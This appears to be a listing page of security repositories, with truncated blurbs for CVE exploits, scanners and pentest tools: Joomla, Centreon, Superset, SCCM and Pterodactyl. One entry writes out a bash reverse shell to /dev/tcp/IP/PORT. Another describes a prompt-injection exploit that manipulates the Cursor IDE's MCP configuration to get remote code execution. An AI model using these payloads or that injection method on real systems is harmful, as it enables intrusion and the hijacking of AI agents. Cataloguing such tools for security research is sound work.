web-traffic-generator

web-traffic-generator A quick and dirty HTTP/S "organic" traffic generator. About Just a simple poorly written Python script that aimlessly "browses" the internet by starting at pre-defined ROOTURLS and randomly "clicking" links on pages until the pre-defined MAXDEPTH is met. I created this as a...

CVE-2023-23752

CVE-2023-23752 - Recurrence of Joomla Unauthorized Access Vulnerability Script Usage Install python libraries pip install -r requirements.txt Vulnerability Verification python3 CVE-2022-26134check.py -u url -c whoami Batch Scan python3 CVE-2023-23752.py -f urlpart.txt Affected Versions 4.0.0 =...

CVE-2019-19699

CVE-2019-19699 Centreon = Commands Miscellaneous Proceed by clicking Add as shown in the image below. We now create a bash reverse shell as our Miscellaneous command !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 And click Save Now we navigate to Configuration Pollers and proceed by clicking on our...

CVE-2023-27524-Apache-Superset-Auth-Bypass-and-RCE

CVE-2023-27524: Apache Superset Auth Bypass and RCE Apache Superset, a widely used open-source tool for data visualization and exploration, has been identified as having potential security weaknesses that could lead to authentication bypass and remote code execution RCE. These vulnerabilities cou...

gftrace

gftrace A command line Windows API tracing tool for Golang binaries. Note: This tool is a PoC and a work-in-progress prototype so please treat it as such. Feedbacks are always welcome! How it works? Although Golang programs contains a lot of nuances regarding the way they are built and their...

dockerized-android

Dockerized Android Dockerized Android is a container-based framework that allows to execute and Android Emulator inside Docker and control it through a browser. This project has been developed in order to provide a starting point for integrating mobile security components into Cyber Ranges but it...

mongoaudit

mongoaudit は、MongoDBサーバーのセキュリティ監査、脆弱な設定の検出、自動化されたペネトレーションテストを実行するCLIツールです。 インストール このリポジトリをクローンして、セットアップを実行します： git clone https://github.com/stampery/mongoaudit.git cd mongoaudit python setup.py install mongoaudit はじめに MongoDBのデフォルト設定にはいくつかの穴があることは広く知られています。この事実に加えて、怠惰なシステム管理者や開発者が多いことが、報道で...

web-server-audit_CVE-2026-42945

webserveraudit Don't ask if you're vulnerable. Ask if you're exploitable. A single-file Python tool that audits nginx and Apache against known CVEs by checking both the installed version and whether the vulnerable code path is actually reachable through your configuration. Why? Most CVE scanners...

CVE-2025-49132

CVE-2025-49132 - Pterodactyl Panel Configuration Information Scanner This tool is used to scan Pterodactyl panel instances in an attempt to retrieve their database configuration information. By exploiting a specific path traversal vulnerability, sensitive configuration data of the panel can be...

CVE-2025-54135

Below is a fully functional exploit for the CVE-2025-54135 vulnerability in the Cursor IDE, designed to demonstrate a prompt-injection attack that manipulates the Model Context Protocol MCP configuration to achieve remote code execution. This code assumes the attacker has access to a public Slack...

SCCM-CVE-2026-47301-Remote-Code-Execution-Exploit

SCCM-CVE-2026-47301-Remote-Code-Execution-Exploit Proof-of-concept exploit chain I have discovered assigned as CVE-2026-47301 for Microsoft Configuration Manager SCCM, combining broken access control, CAB extraction-path traversal arbitrary file write, certificate verification bypass, and DLL...

htrace.sh

Description htrace.sh is a shell script for http/https troubleshooting and profiling. It's also a simple wrapper around several open source security tools. For a more detailed understanding of htrace.sh, its parameters, functions and how it all works, run htrace.sh --examples or see the Wiki...

ciphertest

cipherTest.sh by Patrick Bogen cipherTest.sh is a "better" SSL cipher checker in that it uses gnutls, which has support for many more configurations than openssl. It tests potentially 3,200 different configurations but does some pre-optimization so that it minimizes "failed" checks. It relies on...

nuclei-templates

Nuclei Templates Community curated list of templates for the nuclei engine to find security vulnerabilities in applications. Documentation • Contributions • Discussion • Community • FAQs • Join Discord Templates are the core of the nuclei scanner which powers the actual scanning engine. This...

mad-metasploit

Metasploit custom modules, plugins, resource script and.. awesome metasploit collection https://www.hahwul.com/p/mad-metasploit.html Awesome open awesome.md Add mad-metasploit to metasploit framework 1. config your metasploit-framework directory $ vim config/config.rb $metasploitpath =...

Trinity Audio <= 5.21.0 - Information Exposure

The Trinity Audio Text to Speech AI audio player to convert content into audio plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.21.0 via the /admin/inc/phpinfo.php file that gets created on install. This makes it possible for...

Open WebUI < 0.9.5 - Information Disclosure

Open WebUI 0.9.5 contains an information disclosure vulnerability caused by unauthenticated access to GET /api/v1/retrieval/ endpoint, letting remote attackers retrieve live RAG pipeline configuration without authorization, exploit requires no authentication. id: CVE-2026-45397 info: name: Open...

Atlassian Confluence <5.8.17 - Information Disclosure

Atlassian Confluence before 5.8.17 contains an information disclsoure vulnerability. A remote authenticated user can read configuration files via the decoratorName parameter to 1 spaces/viewdefaultdecorator.action or 2 admin/viewdefaultdecorator.action. id: CVE-2015-8399 info: name: Atlassian...

Emby Server - Authentication Bypass

Emby Server is a user-installable home media server which stores and organizes a user's media files of virtually any format and makes them available for viewing at home and abroad on a broad range of client devices. This vulnerability may allow administrative access to an Emby Server system,...

MicroStrategy Web 10.4 - Information Disclosure

MicroStrategy Web 10.4 is susceptible to information disclosure. The JVM configuration, CPU architecture, installation folder, and other information are exposed through /MicroStrategyWS/happyaxis.jsp. An attacker can use this vulnerability to learn more about the application environment and there...